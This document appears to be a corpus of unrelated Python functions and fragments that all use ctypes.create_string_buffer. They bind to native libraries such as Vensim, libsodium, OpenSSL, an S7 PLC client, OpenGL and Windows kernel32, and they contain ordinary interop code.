def _inic_dic_vars(símismo): """ Inicializamos el diccionario de variables del modelo Vensim. """ # Primero, verificamos el tamañano de memoria necesario para guardar una lista de los nombres de los variables. variables = [] for t in [1, 2, 4, 5, 12]: mem = ctypes.create_string_buffer(0) # Crear una memoria intermedia # Verificar el tamaño necesario tamaño_nec = cmd_vensim(func=símismo.mod.vensim_get_varnames, args=['*', t, mem, 0], mensaje_error=_('Error obteniendo eñ tamaño de los variables Vensim.'), val_error=-1, devolver=True ) mem = ctypes.create_string_buffer(tamaño_nec) # Una memoria intermedia con el tamaño apropiado # Guardar y decodar los nombres de los variables. cmd_vensim(func=símismo.mod.vensim_get_varnames, args=['*', t, mem, tamaño_nec], mensaje_error=_('Error obteniendo los nombres de los variables de Vensim.'), val_error=-1 ) variables += [ x for x in mem.raw.decode().split('\x00') if x and x not in ['FINAL TIME', 'TIME STEP', 'INITIAL TIME', 'SAVEPER', 'Time'] ] # Para guardar los nombres de variables editables (se debe hacer aquí y no por `tipo_var` porque Vensim # los reporta como de tipo `Auxiliary`. cmd_vensim(func=símismo.mod.vensim_get_varnames, args=['*', 12, mem, tamaño_nec], mensaje_error=_('Error obteniendo los nombres de los variables editables ("Gaming") de ' 'VENSIM.'), val_error=-1 ) símismo.editables = [x for x in mem.raw.decode().split('\x00') if x] for var in variables: # Para cada variable... # Sacar sus unidades unidades = símismo._obt_atrib_var(var, cód_attrib=1) # Verificar el tipo_mod del variable tipo_var = símismo._obt_atrib_var(var, cód_attrib=14) # Guardamos los variables constantes en una lista. if tipo_var == 'Constant': tipo_var = 'constante' elif tipo_var == 'Level': tipo_var = 'nivel' elif tipo_var == 'Auxiliary': tipo_var = 'auxiliar' elif tipo_var == 'Initial': tipo_var = 'inicial' elif tipo_var in [ 'Data', 'Constraint', 'Lookup', 'Group', 'Subscript Range', 'Test Input', 'Time Base', 'Subscript Constant' ]: # No incluir los variables de verificación (pruebas de modelo) Vensim, de subscriptos, de datos, etc. continue else: raise ValueError(tipo_var) # Sacar las dimensiones del variable subs = símismo._obt_atrib_var(var, cód_attrib=9) if len(subs): dims = (len(subs),) # Para hacer: soporte para más que 1 dimensión nombres_subs = subs else: dims = (1,) nombres_subs = None # Sacar los límites del variable rango = (símismo._obt_atrib_var(var, cód_attrib=11), símismo._obt_atrib_var(var, cód_attrib=12)) rango = tuple(float(l) if l != '' else None for l in rango) # Leer la descripción del variable. info = símismo._obt_atrib_var(var, 2) # Leer la ecuación del variable, sus hijos y sus parientes directamente de Vensim ec = símismo._obt_atrib_var(var, 3) hijos = símismo._obt_atrib_var(var, 5) parientes = símismo._obt_atrib_var(var, 4) if tipo_var == 'auxiliar' and not len(parientes): tipo_var = 'constante' ingreso = tipo_var in ['constante', 'inicial'] # Actualizar el diccionario de variables. # Para cada variable, creamos un diccionario especial, con su valor y unidades. Puede ser un variable # de ingreso si es de tipo_mod editable ("Gaming"), y puede ser un variable de egreso si no es un valor # constante. dic_var = {'val': None if dims == (1,) else np.zeros(dims), # Se llenarán los valores ahorita 'unidades': unidades, 'subscriptos': nombres_subs, 'ec': ec, 'hijos': hijos, 'parientes': parientes, 'tipo': tipo_var, 'ingreso': ingreso, 'egreso': tipo_var not in ['constante', 'inicial'], 'líms': rango, 'info': info} # Guardar el diccionario del variable en el diccionario general de variables. símismo.variables[var] = dic_var # Convertir los auxiliares parientes de niveles a flujos nivs = símismo.niveles() for nv in nivs: ec = Ecuación(símismo.obt_ec_var(nv), dialecto='vensim') args = ec.sacar_args_func('INTEG') if args is None: continue else: args_integ, args_inic = args # Identificar variables iniciales if args_inic in símismo.variables: símismo.variables[args_inic]['tipo'] = 'inicial' flujos = [v for v in Ecuación(args_integ, dialecto='vensim').variables() if v in símismo.variables] for flj in flujos: símismo.variables[flj]['tipo'] = 'flujo' for var, d_var in símismo.variables.items(): d_var['hijos'] = [h for h in d_var['hijos'] if h in símismo.variables] d_var['parientes'] = [p for p in d_var['parientes'] if p in símismo.variables] # Aplicar los variables iniciales símismo._leer_vals_de_vensim()
def load_libsodium(): global loaded, libsodium, buf if not aead.sodium_loaded: aead.load_sodium() if aead.sodium_loaded: libsodium = aead.libsodium else: print('load libsodium again') libsodium = util.find_library('sodium', 'crypto_stream_salsa20_xor_ic', 'libsodium') if libsodium is None: raise Exception('libsodium not found') if libsodium.sodium_init() < 0: raise Exception('libsodium init failed') libsodium.crypto_stream_salsa20_xor_ic.restype = c_int libsodium.crypto_stream_salsa20_xor_ic.argtypes = (c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p) libsodium.crypto_stream_chacha20_xor_ic.restype = c_int libsodium.crypto_stream_chacha20_xor_ic.argtypes = (c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p) # chacha20-poly1305 libsodium.crypto_aead_chacha20poly1305_encrypt.restype = c_int libsodium.crypto_aead_chacha20poly1305_encrypt.argtypes = ( c_void_p, c_void_p, # c, clen c_char_p, c_ulonglong, # m, mlen c_char_p, c_ulonglong, # ad, adlen c_char_p, # nsec, not used c_char_p, c_char_p # npub, k ) libsodium.crypto_aead_chacha20poly1305_decrypt.restype = c_int libsodium.crypto_aead_chacha20poly1305_decrypt.argtypes = ( c_void_p, c_void_p, # m, mlen c_char_p, # nsec, not used c_char_p, c_ulonglong, # c, clen c_char_p, c_ulonglong, # ad, adlen c_char_p, c_char_p # npub, k ) # chacha20-ietf-poly1305, same api structure as above libsodium.crypto_aead_chacha20poly1305_ietf_encrypt.restype = c_int libsodium.crypto_aead_chacha20poly1305_ietf_encrypt.argtypes = ( c_void_p, c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p, c_char_p, c_char_p) libsodium.crypto_aead_chacha20poly1305_ietf_decrypt.restype = c_int libsodium.crypto_aead_chacha20poly1305_ietf_decrypt.argtypes = ( c_void_p, c_void_p, c_char_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p, c_char_p) # xchacha20-ietf-poly1305, same api structure as above if hasattr(libsodium, 'crypto_aead_xchacha20poly1305_ietf_encrypt'): libsodium.crypto_aead_xchacha20poly1305_ietf_encrypt.restype = c_int libsodium.crypto_aead_xchacha20poly1305_ietf_encrypt.argtypes = ( c_void_p, c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p, c_char_p, c_char_p) libsodium.crypto_aead_xchacha20poly1305_ietf_decrypt.restype = c_int libsodium.crypto_aead_xchacha20poly1305_ietf_decrypt.argtypes = ( c_void_p, c_void_p, c_char_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p, c_char_p) # aes-256-gcm, same api structure as above libsodium.crypto_aead_aes256gcm_is_available.restype = c_int if libsodium.crypto_aead_aes256gcm_is_available(): libsodium.crypto_aead_aes256gcm_encrypt.restype = c_int libsodium.crypto_aead_aes256gcm_encrypt.argtypes = (c_void_p, c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p, c_char_p, c_char_p) libsodium.crypto_aead_aes256gcm_decrypt.restype = c_int libsodium.crypto_aead_aes256gcm_decrypt.argtypes = (c_void_p, c_void_p, c_char_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p, c_char_p) buf = create_string_buffer(buf_size) loaded = True
def read(self, size): buf = ctypes.create_string_buffer(size) n = self.m.dll.mg_read(self.conn, buf, size) return n <= 0 and None or buf[:n]
def _cstring(raw): """ Return the first null terminated cstring from the bufffer. """ return ctypes.create_string_buffer(raw).value
def get_var(self, data, name): size = data and len(data) or 0 buf = ctypes.create_string_buffer(size) n = self.m.dll.mg_get_var(data, size, name, buf, size) return n >= 0 and buf or None
def __repr__(self): n = MPZ_sizeinbase(self.mpq._mp_num, 10) d = MPZ_sizeinbase(self.mpq._mp_den, 10) buffer = create_string_buffer(n + d + 3) return MPQ_get_str(buffer, 10, self).decode('utf-8')
def test_read_multi_vars(self): db = 1 # build and write test values test_value_1 = 129.5 test_bytes_1 = bytearray(struct.pack('>f', test_value_1)) self.client.db_write(db, 0, test_bytes_1) test_value_2 = -129.5 test_bytes_2 = bytearray(struct.pack('>f', test_value_2)) self.client.db_write(db, 4, test_bytes_2) test_value_3 = 123 test_bytes_3 = bytearray([0, 0]) util.set_int(test_bytes_3, 0, test_value_3) self.client.db_write(db, 8, test_bytes_3) test_values = [test_value_1, test_value_2, test_value_3] # build up our requests data_items = (S7DataItem * 3)() data_items[0].Area = ctypes.c_int32(S7AreaDB) data_items[0].WordLen = ctypes.c_int32(S7WLByte) data_items[0].Result = ctypes.c_int32(0) data_items[0].DBNumber = ctypes.c_int32(db) data_items[0].Start = ctypes.c_int32(0) data_items[0].Amount = ctypes.c_int32(4) # reading a REAL, 4 bytes data_items[1].Area = ctypes.c_int32(S7AreaDB) data_items[1].WordLen = ctypes.c_int32(S7WLByte) data_items[1].Result = ctypes.c_int32(0) data_items[1].DBNumber = ctypes.c_int32(db) data_items[1].Start = ctypes.c_int32(4) data_items[1].Amount = ctypes.c_int32(4) # reading a REAL, 4 bytes data_items[2].Area = ctypes.c_int32(S7AreaDB) data_items[2].WordLen = ctypes.c_int32(S7WLByte) data_items[2].Result = ctypes.c_int32(0) data_items[2].DBNumber = ctypes.c_int32(db) data_items[2].Start = ctypes.c_int32(8) data_items[2].Amount = ctypes.c_int32(2) # reading an INT, 2 bytes # create buffers to receive the data # use the Amount attribute on each item to size the buffer for di in data_items: # create the buffer dataBuffer = ctypes.create_string_buffer(di.Amount) # get a pointer to the buffer pBuffer = ctypes.cast(ctypes.pointer(dataBuffer), ctypes.POINTER(ctypes.c_uint8)) di.pData = pBuffer result, data_items = self.client.read_multi_vars(data_items) result_values = [] # function to cast bytes to match data_types[] above byte_to_value = [util.get_real, util.get_real, util.get_int] # unpack and test the result of each read for i in range(len(data_items)): btv = byte_to_value[i] di = data_items[i] value = btv(di.pData, 0) result_values.append(value) self.assertEqual(result_values[0], test_values[0]) self.assertEqual(result_values[1], test_values[1]) self.assertEqual(result_values[2], test_values[2])
def _get_constant_string(name: str) -> str: buf = create_string_buffer(256) core._get_constant_string(buf, len(buf), name.encode("utf-8")) return buf.value.decode()
############################################################################################ # method to add parameters to the QMSL dll def addParam(gResourceContext, pKeyNullStr, pDataNullStr): #pass the pkeyNullStr and pDataNullStr as a byte object - Example: b'phyRFMode' for pKeyNullStr # b'0' for pDataNullStr #the pkeyNullStr MUST correspond the official pKey name used in QRCT4 #make yourself familiar with debug scripts from the QRCT4 tool first. pKey = ctypes.create_string_buffer(pKeyNullStr) pData = ctypes.create_string_buffer(pDataNullStr) lib.QLIB_FTM_WLAN_TLV2_AddParam(gResourceContext, pKey, pData) ############################################################################################ #delcare a char array libVersion = ctypes.create_string_buffer(b"", 25) #pass a char array to a function by reference (via a pointer) lib.QLIB_GetLibraryVersion(ctypes.byref(libVersion)) #dereference the pointer libVersion to read a value # print(libVersion.value) #QPST is the library mode = true libMode = ctypes.c_uint8(1) #libMode = ctypes.c_wchar_p('true') #libMode = ctypes.create_string_buffer(b"true") #libMode = ctypes.create_string_buffer(b"TRUE") lib.QLIB_SetLibraryMode(libMode) libMode.value #APQ = 1 targetType = ctypes.c_uint8(1)
def bn_to_bytes(n): b = ctypes.create_string_buffer(bn_num_bytes(n)) BN_bn2bin(n, b) return b.raw[::-1]
f = libtest.twobythreedoublepointer f.argtypes = [c_double3x2_c_p] arg1 = c_double3x2_c() rc = f(byref(arg1)) arr = np.array(arg1, order="C") print(arr) print(arr.flags) # Exchange one letter f = libtest.letter f.argtypes = [c_char_p] arg1 = c_char(b'H') rc = f(byref(arg1)) print(rc) print(arg1.value) # Exchange a string (in) f = libtest.stringin f.argtypes = [c_char_array_p] arg1 = create_string_buffer(b'Hello from python', MAXSTRLEN) rc = f(byref(arg1)) # Exchange a string (out) f = libtest.stringout f.argtypes = [c_char_array_p] arg1 = create_string_buffer(b'', MAXSTRLEN) rc = f(byref(arg1)) print(arg1.value) del libtest
out_color = vec4(color, 1.0); } """, b""" #version 120 varying vec4 out_color; void main() { gl_FragColor = out_color; } """ ] shader_handles = [] for i, source in enumerate(shaders_sources): handle = glCreateShader(GL_VERTEX_SHADER if i == 0 else GL_FRAGMENT_SHADER) string_buffer = create_string_buffer(source) glShaderSource(handle, 1, cast(pointer(pointer(string_buffer)), POINTER(POINTER(c_char))), None) glCompileShader(handle) shader_handles.append(handle) # Create attributes. position_name = create_string_buffer(b'position') position_index = 0 color_name = create_string_buffer(b'color') # NEW color_index = 1 # Create program. program_handle = glCreateProgram() glAttachShader(program_handle, shader_handles[0])
def read_process_memory(pid, address, size, allow_partial=False): buf = (ctypes.c_char * size)() nread = SIZE_T() hProcess = kernel32.OpenProcess(PROCESS_VM_READ, False, pid) try: kernel32.ReadProcessMemory(hProcess, address, buf, size, ctypes.byref(nread)) except WindowsError as e: if not allow_partial or e.winerror != ERROR_PARTIAL_COPY: raise finally: kernel32.CloseHandle(hProcess) return buf[:nread.value] if __name__ == '__main__': import os import sys # buf = ctypes.create_string_buffer(b'abcdefghij') # pid = os.getpid() address = ctypes.addressof(ctypes.create_string_buffer(b'flag')) # size = len(buf.value) pid = 6468 address = 0xcb230 size = 100 value = read_process_memory(pid, address, size) print value # assert value == buf.value
def get_privkey(self): size = ssl.i2d_ECPrivateKey(self.k, 0) mb_pri = ctypes.create_string_buffer(size) ssl.i2d_ECPrivateKey(self.k, ctypes.byref(ctypes.pointer(mb_pri))) return mb_pri.raw
def read(self, offset, length): buf = ctypes.create_string_buffer(length) DLL.memory_obj_read(self._memobj, buf, offset, length) return buf
def set_privkey(self, key): self.mb = ctypes.create_string_buffer(key) return ssl.d2i_ECPrivateKey(ctypes.byref(self.k), ctypes.byref(ctypes.pointer(self.mb)), len(key))
def get_pubkey(self): size = ssl.i2o_ECPublicKey(self.k, 0) mb = ctypes.create_string_buffer(size) ssl.i2o_ECPublicKey(self.k, ctypes.byref(ctypes.pointer(mb))) return mb.raw
def buffer_from_bytes(initializer): return create_string_buffer(initializer)
def set_pubkey(self, key): self.mb = ctypes.create_string_buffer(key) return ssl.o2i_ECPublicKey(ctypes.byref(self.k), ctypes.byref(ctypes.pointer(self.mb)), len(key))
def pack_records(format, data, file): record_struct = struct.Struct(format) buff = create_string_buffer(len(data) * record_struct.size) for idx in range(0, len(data)): record_struct.pack_into(buff, idx * record_struct.size, *data[idx]) file.write(buff)
def __init__(self): #consider bumping opengl version if apple supports it #amdgpu-mesa currently supports up to 4.5 super(ControledRender, self).__init__(512, 512, fullscreen=False, config=gl.Config(major_version=4, minor_version=1), visible=False) print(self.context.get_info().get_version()) self.vertex_buffer = gl.GLuint(0) self.vao = gl.GLuint(0) #self.prev_program = (gl.GLint * 1)() self.dimx = args["A"].shape[0] self.dimy = args["A"].shape[1] self.dimz = args["A"].shape[2] A = args["A"].astype(np.float32) #print("A shape " + str(A.shape)) #print(str(A.dtype)) #print(A) #self.dp = self.tdata.ctypes.data_as(ctypes.POINTER(ctypes.c_void_p)) self.Ap = A.ctypes.data_as(ctypes.POINTER(ctypes.c_void_p)) T = args["transform"].astype(np.float32) self.Tp = T.ctypes.data_as(ctypes.POINTER(ctypes.c_float)) self.setupFBOandTextures() self.setupShaders() data = [ -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, -1.0, 1.0, 1.0, -1.0, 1.0 ] dataGl = (gl.GLfloat * len(data))(*data) gl.glGenBuffers(1, ctypes.byref(self.vertex_buffer)) gl.glBindBuffer(gl.GL_ARRAY_BUFFER, self.vertex_buffer) gl.glBufferData(gl.GL_ARRAY_BUFFER, len(dataGl) * 4, dataGl, gl.GL_STATIC_DRAW) gl.glGenVertexArrays(1, ctypes.byref(self.vao)) gl.glBindVertexArray(self.vao) gl.glUseProgram(self.programA) self.pos_posA = gl.glGetAttribLocation( self.programA, ctypes.create_string_buffer(b"a_position")) assert (self.pos_posA >= 0) gl.glEnableVertexAttribArray(self.pos_posA) gl.glBindBuffer(gl.GL_ARRAY_BUFFER, self.vertex_buffer) gl.glVertexAttribPointer(self.pos_posA, 2, gl.GL_FLOAT, False, 0, 0) self.tex_pos_A = gl.glGetUniformLocation(self.programA, b"A") self.transform_pos = gl.glGetUniformLocation( self.programA, b"transform") self.step_pos_A = gl.glGetUniformLocation(self.programA, b"step") self.slice_pos_A = gl.glGetUniformLocation(self.programA, b"slice") self.checkUniformLocation(self.tex_pos_A) self.checkUniformLocation(self.transform_pos) self.checkUniformLocation(self.step_pos_A) self.checkUniformLocation(self.slice_pos_A) gl.glUniformMatrix4fv(self.transform_pos, 1, True, self.Tp) #gl.glUniformMatrix4fv(self.transform_pos, 1, False, self.Tp) #may need changed for nonsquare textures gl.glUniform1f(self.step_pos_A, 1 / self.dimx) gl.glViewport(0, 0, self.dimx, self.dimy)
def _windll_getnode(): """Get the hardware address on Windows using ctypes.""" _buffer = ctypes.create_string_buffer(16) if _UuidCreate(_buffer) == 0: return UUID(bytes=bytes_(_buffer.raw)).node
def get_ctype_string_buffer(size): if sys.platform == 'win32': return ctypes.create_unicode_buffer(size) else: return ctypes.create_string_buffer(size)
def _unixdll_getnode(): """Get the hardware address on Unix using ctypes.""" _buffer = ctypes.create_string_buffer(16) _uuid_generate_time(_buffer) return UUID(bytes=bytes_(_buffer.raw)).node
def WriteFile(handle, data, ol=None): c_written = DWORD() success = ctypes.windll.kernel32.WriteFile( handle, ctypes.create_string_buffer(encode(data)), len(data), ctypes.byref(c_written), ol) return ctypes.windll.kernel32.GetLastError(), c_written.value